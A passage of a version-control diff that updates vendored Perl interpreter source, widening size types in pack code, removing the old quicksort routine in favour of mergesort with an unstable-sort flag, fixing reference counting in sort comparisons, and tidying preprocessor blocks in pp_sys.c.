 		    endb = uvchr_to_utf8_flags(buffer, UNI_TO_NATIVE(auv), 0);
 		    if (cur+(endb-buffer)*UTF8_EXPAND >= end) {
 			*cur = '\0';
@@ -3081,10 +3094,10 @@
 	    GROWING(utf8, cat, start, cur, (fromlen+2) / 3 * 4 + (fromlen+len-1)/len * 2);
 	    while (fromlen > 0) {
 		U8 *end;
-		I32 todo;
+		SSize_t todo;
 		U8 hunk[1+63/3*4+1];
 
-		if ((I32)fromlen > len)
+		if ((SSize_t)fromlen > len)
 		    todo = len;
 		else
 		    todo = fromlen;
@@ -3095,8 +3108,8 @@
 			*cur = '\0';
 			SvCUR_set(cat, cur - start);
 			Perl_croak(aTHX_ "panic: string is shorter than advertised, "
-				   "aptr=%p, aend=%p, buffer=%p, todo=%ld",
-				   aptr, aend, buffer, (long) todo);
+				   "aptr=%p, aend=%p, buffer=%p, todo=%zd",
+				   aptr, aend, buffer, todo);
 		    }
 		    end = doencodes(hunk, (const U8 *)buffer, todo);
 		} else {

Modified: vendor/perl/dist/pp_proto.h
===================================================================
--- vendor/perl/dist/pp_proto.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pp_proto.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -162,6 +162,7 @@
 PERL_CALLCONV OP *Perl_pp_method_super(pTHX);
 PERL_CALLCONV OP *Perl_pp_mkdir(pTHX);
 PERL_CALLCONV OP *Perl_pp_modulo(pTHX);
+PERL_CALLCONV OP *Perl_pp_multiconcat(pTHX);
 PERL_CALLCONV OP *Perl_pp_multideref(pTHX);
 PERL_CALLCONV OP *Perl_pp_multiply(pTHX);
 PERL_CALLCONV OP *Perl_pp_nbit_and(pTHX);

Modified: vendor/perl/dist/pp_sort.c
===================================================================
--- vendor/perl/dist/pp_sort.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pp_sort.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -45,7 +45,7 @@
 /* Flags for qsortsv and mergesortsv */
 #define SORTf_DESC   1
 #define SORTf_STABLE 2
-#define SORTf_QSORT  4
+#define SORTf_UNSTABLE 8
 
 /*
  * The mergesort implementation is by Peter M. Mcilroy <pmcilroy at lucent.com>.
@@ -350,8 +350,16 @@
     return -PL_sort_RealCmp(aTHX_ a, b);
 }
 
-STATIC void
-S_mergesortsv(pTHX_ gptr *base, size_t nmemb, SVCOMPARE_t cmp, U32 flags)
+/*
+=for apidoc sortsv_flags
+
+In-place sort an array of SV pointers with the given comparison routine,
+with various SORTf_* flag options.
+
+=cut
+*/
+void
+Perl_sortsv_flags(pTHX_ gptr *base, size_t nmemb, SVCOMPARE_t cmp, U32 flags)
 {
     IV i, run, offset;
     I32 sense, level;
@@ -364,6 +372,7 @@
     off_runs stack[60], *stackp;
     SVCOMPARE_t savecmp = NULL;
 
+    PERL_ARGS_ASSERT_SORTSV_FLAGS;
     if (nmemb <= 1) return;			/* sorted trivially */
 
     if ((flags & SORTf_DESC) != 0) {
@@ -557,7 +566,7 @@
     }
   done:
     if (aux != small) Safefree(aux);	/* free iff allocated */
-    if (flags) {
+    if (savecmp != NULL) {
 	 PL_sort_RealCmp = savecmp;	/* Restore current comparison routine, if any */
     }
     return;
@@ -759,670 +768,6 @@
 
 #endif
 
-/* ****************************************************************** qsort */
-
-STATIC void /* the standard unstable (u) quicksort (qsort) */
-S_qsortsvu(pTHX_ SV ** array, size_t num_elts, SVCOMPARE_t compare)
-{
-   SV * temp;
-   struct partition_stack_entry partition_stack[QSORT_MAX_STACK];
-   int next_stack_entry = 0;
-   int part_left;
-   int part_right;
-#ifdef QSORT_ORDER_GUESS
-   int qsort_break_even;
-   int swapped;
-#endif
-
-    PERL_ARGS_ASSERT_QSORTSVU;
-
-   /* Make sure we actually have work to do.
-   */
-   if (num_elts <= 1) {
-      return;
-   }
-
-   /* Inoculate large partitions against quadratic behavior */
-   if (num_elts > QSORT_PLAY_SAFE) {
-      size_t n;
-      SV ** const q = array;
-      for (n = num_elts; n > 1; ) {
-         const size_t j = (size_t)(n-- * Drand01());
-         temp = q[j];
-         q[j] = q[n];
-         q[n] = temp;
-      }
-   }
-
-   /* Setup the initial partition definition and fall into the sorting loop
-   */
-   part_left = 0;
-   part_right = (int)(num_elts - 1);
-#ifdef QSORT_ORDER_GUESS
-   qsort_break_even = QSORT_BREAK_EVEN;
-#else
-#define qsort_break_even QSORT_BREAK_EVEN
-#endif
-   for ( ; ; ) {
-      if ((part_right - part_left) >= qsort_break_even) {
-         /* OK, this is gonna get hairy, so lets try to document all the
-            concepts and abbreviations and variables and what they keep
-            track of:
-
-            pc: pivot chunk - the set of array elements we accumulate in the
-                middle of the partition, all equal in value to the original
-                pivot element selected. The pc is defined by:
-
-                pc_left - the leftmost array index of the pc
-                pc_right - the rightmost array index of the pc
-
-                we start with pc_left == pc_right and only one element
-                in the pivot chunk (but it can grow during the scan).
-
-            u:  uncompared elements - the set of elements in the partition
-                we have not yet compared to the pivot value. There are two
-                uncompared sets during the scan - one to the left of the pc
-                and one to the right.
-
-                u_right - the rightmost index of the left side's uncompared set
-                u_left - the leftmost index of the right side's uncompared set
-
-                The leftmost index of the left sides's uncompared set
-                doesn't need its own variable because it is always defined
-                by the leftmost edge of the whole partition (part_left). The
-                same goes for the rightmost edge of the right partition
-                (part_right).
-
-                We know there are no uncompared elements on the left once we
-                get u_right < part_left and no uncompared elements on the
-                right once u_left > part_right. When both these conditions
-                are met, we have completed the scan of the partition.
-
-                Any elements which are between the pivot chunk and the
-                uncompared elements should be less than the pivot value on
-                the left side and greater than the pivot value on the right
-                side (in fact, the goal of the whole algorithm is to arrange
-                for that to be true and make the groups of less-than and
-                greater-then elements into new partitions to sort again).
-
-            As you marvel at the complexity of the code and wonder why it
-            has to be so confusing. Consider some of the things this level
-            of confusion brings:
-
-            Once I do a compare, I squeeze every ounce of juice out of it. I
-            never do compare calls I don't have to do, and I certainly never
-            do redundant calls.
-
-            I also never swap any elements unless I can prove there is a
-            good reason. Many sort algorithms will swap a known value with
-            an uncompared value just to get things in the right place (or
-            avoid complexity :-), but that uncompared value, once it gets
-            compared, may then have to be swapped again. A lot of the
-            complexity of this code is due to the fact that it never swaps
-            anything except compared values, and it only swaps them when the
-            compare shows they are out of position.
-         */
-         int pc_left, pc_right;
-         int u_right, u_left;
-
-         int s;
-
-         pc_left = ((part_left + part_right) / 2);
-         pc_right = pc_left;
-         u_right = pc_left - 1;
-         u_left = pc_right + 1;
-
-         /* Qsort works best when the pivot value is also the median value
-            in the partition (unfortunately you can't find the median value
-            without first sorting :-), so to give the algorithm a helping
-            hand, we pick 3 elements and sort them and use the median value
-            of that tiny set as the pivot value.
-
-            Some versions of qsort like to use the left middle and right as
-            the 3 elements to sort so they can insure the ends of the
-            partition will contain values which will stop the scan in the
-            compare loop, but when you have to call an arbitrarily complex
-            routine to do a compare, its really better to just keep track of
-            array index values to know when you hit the edge of the
-            partition and avoid the extra compare. An even better reason to
-            avoid using a compare call is the fact that you can drop off the
-            edge of the array if someone foolishly provides you with an
-            unstable compare function that doesn't always provide consistent
-            results.
-
-            So, since it is simpler for us to compare the three adjacent
-            elements in the middle of the partition, those are the ones we
-            pick here (conveniently pointed at by u_right, pc_left, and
-            u_left). The values of the left, center, and right elements
-            are referred to as l c and r in the following comments.
-         */
-
-#ifdef QSORT_ORDER_GUESS
-         swapped = 0;
-#endif
-         s = qsort_cmp(u_right, pc_left);
-         if (s < 0) {
-            /* l < c */
-            s = qsort_cmp(pc_left, u_left);
-            /* if l < c, c < r - already in order - nothing to do */
-            if (s == 0) {
-               /* l < c, c == r - already in order, pc grows */
-               ++pc_right;
-               qsort_all_asserts(pc_left, pc_right, u_left + 1, u_right - 1);
-            } else if (s > 0) {
-               /* l < c, c > r - need to know more */
-               s = qsort_cmp(u_right, u_left);
-               if (s < 0) {
-                  /* l < c, c > r, l < r - swap c & r to get ordered */
-                  qsort_swap(pc_left, u_left);
-                  qsort_all_asserts(pc_left, pc_right, u_left + 1, u_right - 1);
-               } else if (s == 0) {
-                  /* l < c, c > r, l == r - swap c&r, grow pc */
-                  qsort_swap(pc_left, u_left);
-                  --pc_left;
-                  qsort_all_asserts(pc_left, pc_right, u_left + 1, u_right - 1);
-               } else {
-                  /* l < c, c > r, l > r - make lcr into rlc to get ordered */
-                  qsort_rotate(pc_left, u_right, u_left);
-                  qsort_all_asserts(pc_left, pc_right, u_left + 1, u_right - 1);
-               }
-            }
-         } else if (s == 0) {
-            /* l == c */
-            s = qsort_cmp(pc_left, u_left);
-            if (s < 0) {
-               /* l == c, c < r - already in order, grow pc */
-               --pc_left;
-               qsort_all_asserts(pc_left, pc_right, u_left + 1, u_right - 1);
-            } else if (s == 0) {
-               /* l == c, c == r - already in order, grow pc both ways */
-               --pc_left;
-               ++pc_right;
-               qsort_all_asserts(pc_left, pc_right, u_left + 1, u_right - 1);
-            } else {
-               /* l == c, c > r - swap l & r, grow pc */
-               qsort_swap(u_right, u_left);
-               ++pc_right;
-               qsort_all_asserts(pc_left, pc_right, u_left + 1, u_right - 1);
-            }
-         } else {
-            /* l > c */
-            s = qsort_cmp(pc_left, u_left);
-            if (s < 0) {
-               /* l > c, c < r - need to know more */
-               s = qsort_cmp(u_right, u_left);
-               if (s < 0) {
-                  /* l > c, c < r, l < r - swap l & c to get ordered */
-                  qsort_swap(u_right, pc_left);
-                  qsort_all_asserts(pc_left, pc_right, u_left + 1, u_right - 1);
-               } else if (s == 0) {
-                  /* l > c, c < r, l == r - swap l & c, grow pc */
-                  qsort_swap(u_right, pc_left);
-                  ++pc_right;
-                  qsort_all_asserts(pc_left, pc_right, u_left + 1, u_right - 1);
-               } else {
-                  /* l > c, c < r, l > r - rotate lcr into crl to order */
-                  qsort_rotate(u_right, pc_left, u_left);
-                  qsort_all_asserts(pc_left, pc_right, u_left + 1, u_right - 1);
-               }
-            } else if (s == 0) {
-               /* l > c, c == r - swap ends, grow pc */
-               qsort_swap(u_right, u_left);
-               --pc_left;
-               qsort_all_asserts(pc_left, pc_right, u_left + 1, u_right - 1);
-            } else {
-               /* l > c, c > r - swap ends to get in order */
-               qsort_swap(u_right, u_left);
-               qsort_all_asserts(pc_left, pc_right, u_left + 1, u_right - 1);
-            }
-         }
-         /* We now know the 3 middle elements have been compared and
-            arranged in the desired order, so we can shrink the uncompared
-            sets on both sides
-         */
-         --u_right;
-         ++u_left;
-         qsort_all_asserts(pc_left, pc_right, u_left, u_right);
-
-         /* The above massive nested if was the simple part :-). We now have
-            the middle 3 elements ordered and we need to scan through the
-            uncompared sets on either side, swapping elements that are on
-            the wrong side or simply shuffling equal elements around to get
-            all equal elements into the pivot chunk.
-         */
-
-         for ( ; ; ) {
-            int still_work_on_left;
-            int still_work_on_right;
-
-            /* Scan the uncompared values on the left. If I find a value
-               equal to the pivot value, move it over so it is adjacent to
-               the pivot chunk and expand the pivot chunk. If I find a value
-               less than the pivot value, then just leave it - its already
-               on the correct side of the partition. If I find a greater
-               value, then stop the scan.
-            */
-            while ((still_work_on_left = (u_right >= part_left))) {
-               s = qsort_cmp(u_right, pc_left);
-               if (s < 0) {
-                  --u_right;
-               } else if (s == 0) {
-                  --pc_left;
-                  if (pc_left != u_right) {
-                     qsort_swap(u_right, pc_left);
-                  }
-                  --u_right;
-               } else {
-                  break;
-               }
-               qsort_assert(u_right < pc_left);
-               qsort_assert(pc_left <= pc_right);
-               qsort_assert(qsort_cmp(u_right + 1, pc_left) <= 0);
-               qsort_assert(qsort_cmp(pc_left, pc_right) == 0);
-            }
-
-            /* Do a mirror image scan of uncompared values on the right
-            */
-            while ((still_work_on_right = (u_left <= part_right))) {
-               s = qsort_cmp(pc_right, u_left);
-               if (s < 0) {
-                  ++u_left;
-               } else if (s == 0) {
-                  ++pc_right;
-                  if (pc_right != u_left) {
-                     qsort_swap(pc_right, u_left);
-                  }
-                  ++u_left;
-               } else {
-                  break;
-               }
-               qsort_assert(u_left > pc_right);
-               qsort_assert(pc_left <= pc_right);
-               qsort_assert(qsort_cmp(pc_right, u_left - 1) <= 0);
-               qsort_assert(qsort_cmp(pc_left, pc_right) == 0);
-            }
-
-            if (still_work_on_left) {
-               /* I know I have a value on the left side which needs to be
-                  on the right side, but I need to know more to decide
-                  exactly the best thing to do with it.
-               */
-               if (still_work_on_right) {
-                  /* I know I have values on both side which are out of
-                     position. This is a big win because I kill two birds
-                     with one swap (so to speak). I can advance the
-                     uncompared pointers on both sides after swapping both
-                     of them into the right place.
-                  */
-                  qsort_swap(u_right, u_left);
-                  --u_right;
-                  ++u_left;
-                  qsort_all_asserts(pc_left, pc_right, u_left, u_right);
-               } else {
-                  /* I have an out of position value on the left, but the
-                     right is fully scanned, so I "slide" the pivot chunk
-                     and any less-than values left one to make room for the
-                     greater value over on the right. If the out of position
-                     value is immediately adjacent to the pivot chunk (there
-                     are no less-than values), I can do that with a swap,
-                     otherwise, I have to rotate one of the less than values
-                     into the former position of the out of position value
-                     and the right end of the pivot chunk into the left end
-                     (got all that?).
-                  */
-                  --pc_left;
-                  if (pc_left == u_right) {
-                     qsort_swap(u_right, pc_right);
-                     qsort_all_asserts(pc_left, pc_right-1, u_left, u_right-1);
-                  } else {
-                     qsort_rotate(u_right, pc_left, pc_right);
-                     qsort_all_asserts(pc_left, pc_right-1, u_left, u_right-1);
-                  }
-                  --pc_right;
-                  --u_right;
-               }
-            } else if (still_work_on_right) {
-               /* Mirror image of complex case above: I have an out of
-                  position value on the right, but the left is fully
-                  scanned, so I need to shuffle things around to make room
-                  for the right value on the left.
-               */
-               ++pc_right;
-               if (pc_right == u_left) {
-                  qsort_swap(u_left, pc_left);
-                  qsort_all_asserts(pc_left+1, pc_right, u_left+1, u_right);
-               } else {
-                  qsort_rotate(pc_right, pc_left, u_left);
-                  qsort_all_asserts(pc_left+1, pc_right, u_left+1, u_right);
-               }
-               ++pc_left;
-               ++u_left;
-            } else {
-               /* No more scanning required on either side of partition,
-                  break out of loop and figure out next set of partitions
-               */
-               break;
-            }
-         }
-
-         /* The elements in the pivot chunk are now in the right place. They
-            will never move or be compared again. All I have to do is decide
-            what to do with the stuff to the left and right of the pivot
-            chunk.
-
-            Notes on the QSORT_ORDER_GUESS ifdef code:
-
-            1. If I just built these partitions without swapping any (or
-               very many) elements, there is a chance that the elements are
-               already ordered properly (being properly ordered will
-               certainly result in no swapping, but the converse can't be
-               proved :-).
-
-            2. A (properly written) insertion sort will run faster on
-               already ordered data than qsort will.
-
-            3. Perhaps there is some way to make a good guess about
-               switching to an insertion sort earlier than partition size 6
-               (for instance - we could save the partition size on the stack
-               and increase the size each time we find we didn't swap, thus
-               switching to insertion sort earlier for partitions with a
-               history of not swapping).
-
-            4. Naturally, if I just switch right away, it will make
-               artificial benchmarks with pure ascending (or descending)
-               data look really good, but is that a good reason in general?
-               Hard to say...
-         */
-
-#ifdef QSORT_ORDER_GUESS
-         if (swapped < 3) {
-#if QSORT_ORDER_GUESS == 1
-            qsort_break_even = (part_right - part_left) + 1;
-#endif
-#if QSORT_ORDER_GUESS == 2
-            qsort_break_even *= 2;
-#endif
-#if QSORT_ORDER_GUESS == 3
-            const int prev_break = qsort_break_even;
-            qsort_break_even *= qsort_break_even;
-            if (qsort_break_even < prev_break) {
-               qsort_break_even = (part_right - part_left) + 1;
-            }
-#endif
-         } else {
-            qsort_break_even = QSORT_BREAK_EVEN;
-         }
-#endif
-
-         if (part_left < pc_left) {
-            /* There are elements on the left which need more processing.
-               Check the right as well before deciding what to do.
-            */
-            if (pc_right < part_right) {
-               /* We have two partitions to be sorted. Stack the biggest one
-                  and process the smallest one on the next iteration. This
-                  minimizes the stack height by insuring that any additional
-                  stack entries must come from the smallest partition which
-                  (because it is smallest) will have the fewest
-                  opportunities to generate additional stack entries.
-               */
-               if ((part_right - pc_right) > (pc_left - part_left)) {
-                  /* stack the right partition, process the left */
-                  partition_stack[next_stack_entry].left = pc_right + 1;
-                  partition_stack[next_stack_entry].right = part_right;
-#ifdef QSORT_ORDER_GUESS
-                  partition_stack[next_stack_entry].qsort_break_even = qsort_break_even;
-#endif
-                  part_right = pc_left - 1;
-               } else {
-                  /* stack the left partition, process the right */
-                  partition_stack[next_stack_entry].left = part_left;
-                  partition_stack[next_stack_entry].right = pc_left - 1;
-#ifdef QSORT_ORDER_GUESS
-                  partition_stack[next_stack_entry].qsort_break_even = qsort_break_even;
-#endif
-                  part_left = pc_right + 1;
-               }
-               qsort_assert(next_stack_entry < QSORT_MAX_STACK);
-               ++next_stack_entry;
-            } else {
-               /* The elements on the left are the only remaining elements
-                  that need sorting, arrange for them to be processed as the
-                  next partition.
-               */
-               part_right = pc_left - 1;
-            }
-         } else if (pc_right < part_right) {
-            /* There is only one chunk on the right to be sorted, make it
-               the new partition and loop back around.
-            */
-            part_left = pc_right + 1;
-         } else {
-            /* This whole partition wound up in the pivot chunk, so
-               we need to get a new partition off the stack.
-            */
-            if (next_stack_entry == 0) {
-               /* the stack is empty - we are done */
-               break;
-            }
-            --next_stack_entry;
-            part_left = partition_stack[next_stack_entry].left;
-            part_right = partition_stack[next_stack_entry].right;
-#ifdef QSORT_ORDER_GUESS
-            qsort_break_even = partition_stack[next_stack_entry].qsort_break_even;
-#endif
-         }
-      } else {
-         /* This partition is too small to fool with qsort complexity, just
-            do an ordinary insertion sort to minimize overhead.
-         */
-         int i;
-         /* Assume 1st element is in right place already, and start checking
-            at 2nd element to see where it should be inserted.
-         */
-         for (i = part_left + 1; i <= part_right; ++i) {
-            int j;
-            /* Scan (backwards - just in case 'i' is already in right place)
-               through the elements already sorted to see if the ith element
-               belongs ahead of one of them.
-            */
-            for (j = i - 1; j >= part_left; --j) {
-               if (qsort_cmp(i, j) >= 0) {
-                  /* i belongs right after j
-                  */
-                  break;
-               }
-            }
-            ++j;
-            if (j != i) {
-               /* Looks like we really need to move some things
-               */
-	       int k;
-	       temp = array[i];
-	       for (k = i - 1; k >= j; --k)
-		  array[k + 1] = array[k];
-               array[j] = temp;
-            }
-         }
-
-         /* That partition is now sorted, grab the next one, or get out
-            of the loop if there aren't any more.
-         */
-
-         if (next_stack_entry == 0) {
-            /* the stack is empty - we are done */
-            break;
-         }
-         --next_stack_entry;
-         part_left = partition_stack[next_stack_entry].left;
-         part_right = partition_stack[next_stack_entry].right;
-#ifdef QSORT_ORDER_GUESS
-         qsort_break_even = partition_stack[next_stack_entry].qsort_break_even;
-#endif
-      }
-   }
-
-   /* Believe it or not, the array is sorted at this point! */
-}
-
-/* Stabilize what is, presumably, an otherwise unstable sort method.
- * We do that by allocating (or having on hand) an array of pointers
- * that is the same size as the original array of elements to be sorted.
- * We initialize this parallel array with the addresses of the original
- * array elements.  This indirection can make you crazy.
- * Some pictures can help.  After initializing, we have
- *
- *  indir                  list1
- * +----+                 +----+
- * |    | --------------> |    | ------> first element to be sorted
- * +----+                 +----+
- * |    | --------------> |    | ------> second element to be sorted
- * +----+                 +----+
- * |    | --------------> |    | ------> third element to be sorted
- * +----+                 +----+
- *  ...
- * +----+                 +----+
- * |    | --------------> |    | ------> n-1st element to be sorted
- * +----+                 +----+
- * |    | --------------> |    | ------> n-th element to be sorted
- * +----+                 +----+
- *
- * During the sort phase, we leave the elements of list1 where they are,
- * and sort the pointers in the indirect array in the same order determined
- * by the original comparison routine on the elements pointed to.
- * Because we don't move the elements of list1 around through
- * this phase, we can break ties on elements that compare equal
- * using their address in the list1 array, ensuring stability.
- * This leaves us with something looking like
- *
- *  indir                  list1
- * +----+                 +----+
- * |    | --+       +---> |    | ------> first element to be sorted
- * +----+   |       |     +----+
- * |    | --|-------|---> |    | ------> second element to be sorted
- * +----+   |       |     +----+
- * |    | --|-------+ +-> |    | ------> third element to be sorted
- * +----+   |         |   +----+
- *  ...
- * +----+    | |   | |    +----+
- * |    | ---|-+   | +--> |    | ------> n-1st element to be sorted
- * +----+    |     |      +----+
- * |    | ---+     +----> |    | ------> n-th element to be sorted
- * +----+                 +----+
- *
- * where the i-th element of the indirect array points to the element
- * that should be i-th in the sorted array.  After the sort phase,
- * we have to put the elements of list1 into the places
- * dictated by the indirect array.
- */
-
-
-static I32
-cmpindir(pTHX_ gptr const a, gptr const b)
-{
-    gptr * const ap = (gptr *)a;
-    gptr * const bp = (gptr *)b;
-    const I32 sense = PL_sort_RealCmp(aTHX_ *ap, *bp);
-
-    if (sense)
-	return sense;
-    return (ap > bp) ? 1 : ((ap < bp) ? -1 : 0);
-}
-
-static I32
-cmpindir_desc(pTHX_ gptr const a, gptr const b)
-{
-    gptr * const ap = (gptr *)a;
-    gptr * const bp = (gptr *)b;
-    const I32 sense = PL_sort_RealCmp(aTHX_ *ap, *bp);
-
-    /* Reverse the default */
-    if (sense)
-	return -sense;
-    /* But don't reverse the stability test.  */
-    return (ap > bp) ? 1 : ((ap < bp) ? -1 : 0);
-
-}
-
-STATIC void
-S_qsortsv(pTHX_ gptr *list1, size_t nmemb, SVCOMPARE_t cmp, U32 flags)
-{
-    if ((flags & SORTf_STABLE) != 0) {
-	 gptr **pp, *q;
-	 size_t n, j, i;
-	 gptr *small[SMALLSORT], **indir, tmp;
-	 SVCOMPARE_t savecmp;
-	 if (nmemb <= 1) return;     /* sorted trivially */
-
-	 /* Small arrays can use the stack, big ones must be allocated */
-	 if (nmemb <= SMALLSORT) indir = small;
-	 else { Newx(indir, nmemb, gptr *); }
-
-	 /* Copy pointers to original array elements into indirect array */
-	 for (n = nmemb, pp = indir, q = list1; n--; ) *pp++ = q++;
-
-	 savecmp = PL_sort_RealCmp;	/* Save current comparison routine, if any */
-	 PL_sort_RealCmp = cmp;	/* Put comparison routine where cmpindir can find it */
-
-	 /* sort, with indirection */
-	 if (flags & SORTf_DESC)
-	    qsortsvu((gptr *)indir, nmemb, cmpindir_desc);
-	else
-	    qsortsvu((gptr *)indir, nmemb, cmpindir);
-
-	 pp = indir;
-	 q = list1;
-	 for (n = nmemb; n--; ) {
-	      /* Assert A: all elements of q with index > n are already
-	       * in place.  This is vacuously true at the start, and we
-	       * put element n where it belongs below (if it wasn't
-	       * already where it belonged). Assert B: we only move
-	       * elements that aren't where they belong,
-	       * so, by A, we never tamper with elements above n.
-	       */
-	      j = pp[n] - q;		/* This sets j so that q[j] is
-					 * at pp[n].  *pp[j] belongs in
-					 * q[j], by construction.
-					 */
-	      if (n != j) {		/* all's well if n == j */
-		   tmp = q[j];		/* save what's in q[j] */
-		   do {
-			q[j] = *pp[j];	/* put *pp[j] where it belongs */
-			i = pp[j] - q;	/* the index in q of the element
-					 * just moved */
-			pp[j] = q + j;	/* this is ok now */
-		   } while ((j = i) != n);
-		   /* There are only finitely many (nmemb) addresses
-		    * in the pp array.
-		    * So we must eventually revisit an index we saw before.
-		    * Suppose the first revisited index is k != n.
-		    * An index is visited because something else belongs there.
-		    * If we visit k twice, then two different elements must
-		    * belong in the same place, which cannot be.
-		    * So j must get back to n, the loop terminates,
-		    * and we put the saved element where it belongs.
-		    */
-		   q[n] = tmp;		/* put what belongs into
-					 * the n-th element */
-	      }
-	 }
-
-	/* free iff allocated */
-	 if (indir != small) { Safefree(indir); }
-	 /* restore prevailing comparison routine */
-	 PL_sort_RealCmp = savecmp;
-    } else if ((flags & SORTf_DESC) != 0) {
-	 const SVCOMPARE_t savecmp = PL_sort_RealCmp;	/* Save current comparison routine, if any */
-	 PL_sort_RealCmp = cmp;	/* Put comparison routine where cmp_desc can find it */
-	 cmp = cmp_desc;
-	 qsortsvu(list1, nmemb, cmp);
-	 /* restore prevailing comparison routine */
-	 PL_sort_RealCmp = savecmp;
-    } else {
-	 qsortsvu(list1, nmemb, cmp);
-    }
-}
-
 /*
 =head1 Array Manipulation Functions
 
@@ -1444,25 +789,6 @@
     sortsv_flags(array, nmemb, cmp, 0);
 }
 
-/*
-=for apidoc sortsv_flags
-
-In-place sort an array of SV pointers with the given comparison routine,
-with various SORTf_* flag options.
-
-=cut
-*/
-void
-Perl_sortsv_flags(pTHX_ SV **array, size_t nmemb, SVCOMPARE_t cmp, U32 flags)
-{
-    PERL_ARGS_ASSERT_SORTSV_FLAGS;
-
-    if (flags & SORTf_QSORT)
-	S_qsortsv(aTHX_ array, nmemb, cmp, flags);
-    else
-	S_mergesortsv(aTHX_ array, nmemb, cmp, flags);
-}
-
 #define SvNSIOK(sv) ((SvFLAGS(sv) & SVf_NOK) || ((SvFLAGS(sv) & (SVf_IOK|SVf_IVisUV)) == SVf_IOK))
 #define SvSIOK(sv) ((SvFLAGS(sv) & (SVf_IOK|SVf_IVisUV)) == SVf_IOK)
 #define SvNSIV(sv) ( SvNOK(sv) ? SvNVX(sv) : ( SvSIOK(sv) ? SvIVX(sv) : sv_2nv(sv) ) )
@@ -1490,10 +816,10 @@
 
     if ((priv & OPpSORT_DESCEND) != 0)
 	sort_flags |= SORTf_DESC;
-    if ((priv & OPpSORT_QSORT) != 0)
-	sort_flags |= SORTf_QSORT;
     if ((priv & OPpSORT_STABLE) != 0)
 	sort_flags |= SORTf_STABLE;
+    if ((priv & OPpSORT_UNSTABLE) != 0)
+	sort_flags |= SORTf_UNSTABLE;
 
     if (gimme != G_ARRAY) {
 	SP = MARK;
@@ -1655,8 +981,10 @@
                 /* we don't want modifications localized */
                 GvINTRO_off(PL_firstgv);
                 GvINTRO_off(PL_secondgv);
-		SAVESPTR(GvSV(PL_firstgv));
-		SAVESPTR(GvSV(PL_secondgv));
+		SAVEGENERICSV(GvSV(PL_firstgv));
+		SvREFCNT_inc(GvSV(PL_firstgv));
+		SAVEGENERICSV(GvSV(PL_secondgv));
+		SvREFCNT_inc(GvSV(PL_secondgv));
 	    }
 
             gimme = G_SCALAR;
@@ -1789,11 +1117,16 @@
     I32 result;
     PMOP * const pm = PL_curpm;
     COP * const cop = PL_curcop;
+    SV *olda, *oldb;
  
     PERL_ARGS_ASSERT_SORTCV;
 
-    GvSV(PL_firstgv) = a;
-    GvSV(PL_secondgv) = b;
+    olda = GvSV(PL_firstgv);
+    GvSV(PL_firstgv) = SvREFCNT_inc_simple_NN(a);
+    SvREFCNT_dec(olda);
+    oldb = GvSV(PL_secondgv);
+    GvSV(PL_secondgv) = SvREFCNT_inc_simple_NN(b);
+    SvREFCNT_dec(oldb);
     PL_stack_sp = PL_stack_base;
     PL_op = PL_sortcop;
     CALLRUNOPS(aTHX);

Modified: vendor/perl/dist/pp_sys.c
===================================================================
--- vendor/perl/dist/pp_sys.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/pp_sys.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -76,18 +76,16 @@
 #ifdef HAS_PASSWD
 # ifdef I_PWD
 #  include <pwd.h>
-# else
-#  if !defined(VMS)
+# elif !defined(VMS)
     struct passwd *getpwnam (char *);
     struct passwd *getpwuid (Uid_t);
-#  endif
 # endif
 # ifdef HAS_GETPWENT
-#ifndef getpwent
+#  ifndef getpwent
   struct passwd *getpwent (void);
-#elif defined (VMS) && defined (my_getpwent)
+#  elif defined (VMS) && defined (my_getpwent)
   struct passwd *Perl_my_getpwent (pTHX);
-#endif
+#  endif
 # endif
 #endif
 
@@ -99,9 +97,9 @@
     struct group *getgrgid (Gid_t);
 # endif
 # ifdef HAS_GETGRENT
-#ifndef getgrent
+#  ifndef getgrent
     struct group *getgrent (void);
-#endif
+#  endif
 # endif
 #endif
 
@@ -118,12 +116,10 @@
 #   undef my_chsize
 # endif
 # define my_chsize PerlLIO_chsize
+#elif defined(HAS_TRUNCATE)
+# define my_chsize PerlLIO_chsize
 #else
-# ifdef HAS_TRUNCATE
-#   define my_chsize PerlLIO_chsize
-# else
 I32 my_chsize(int fd, Off_t length);
-# endif
 #endif
 
 #ifdef HAS_FLOCK
@@ -141,12 +137,10 @@
 #  if defined(HAS_FCNTL) && defined(FCNTL_CAN_LOCK)
 #    define FLOCK fcntl_emulate_flock
 #    define FCNTL_EMULATE_FLOCK
-#  else /* no flock() or fcntl(F_SETLK,...) */
-#    ifdef HAS_LOCKF
-#      define FLOCK lockf_emulate_flock
-#      define LOCKF_EMULATE_FLOCK
-#    endif /* lockf */
-#  endif /* no flock() or fcntl(F_SETLK,...) */
+#  elif defined(HAS_LOCKF)
+#    define FLOCK lockf_emulate_flock
+#    define LOCKF_EMULATE_FLOCK
+#  endif
 
 #  ifdef FLOCK
      static int FLOCK (int, int);
@@ -240,13 +234,11 @@
 #if !defined(HAS_SETREUID) && !defined(HAS_SETRESUID)
     Perl_croak(aTHX_ "switching effective uid is not implemented");
 #else
-#ifdef HAS_SETREUID
+#  ifdef HAS_SETREUID
     if (setreuid(euid, ruid))
-#else
-#ifdef HAS_SETRESUID
+#  elif defined(HAS_SETRESUID)
     if (setresuid(euid, ruid, (Uid_t)-1))
-#endif
-#endif
+#  endif
 	/* diag_listed_as: entering effective %s failed */
 	Perl_croak(aTHX_ "entering effective uid failed");
 #endif
@@ -254,13 +246,11 @@
 #if !defined(HAS_SETREGID) && !defined(HAS_SETRESGID)
     Perl_croak(aTHX_ "switching effective gid is not implemented");
 #else
-#ifdef HAS_SETREGID
+#  ifdef HAS_SETREGID
     if (setregid(egid, rgid))
-#else
-#ifdef HAS_SETRESGID
+#  elif defined(HAS_SETRESGID)
     if (setresgid(egid, rgid, (Gid_t)-1))
-#endif
-#endif
+#  endif
 	/* diag_listed_as: entering effective %s failed */
 	Perl_croak(aTHX_ "entering effective gid failed");
 #endif
@@ -269,21 +259,17 @@
 
 #ifdef HAS_SETREUID
     if (setreuid(ruid, euid))
-#else
-#ifdef HAS_SETRESUID
+#elif defined(HAS_SETRESUID)
     if (setresuid(ruid, euid, (Uid_t)-1))
 #endif
-#endif
 	/* diag_listed_as: leaving effective %s failed */
 	Perl_croak(aTHX_ "leaving effective uid failed");
 
